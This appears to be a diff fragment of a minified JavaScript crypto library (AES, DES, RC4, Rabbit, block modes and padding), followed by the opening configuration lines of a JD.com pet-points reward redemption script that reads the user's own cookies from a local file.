this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +const $ = new Env('宠汪汪积分兑换奖品'); +let allMessage = ''; +let joyRewardName = 0;//是否兑换京豆,默认0不兑换京豆,其中20为兑换20京豆,500为兑换500京豆,0为不兑换京豆.数量有限先到先得 +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let jdNotify = false;//是否开启静默运行,默认false关闭(即:奖品兑换成功后会发出通知提示) 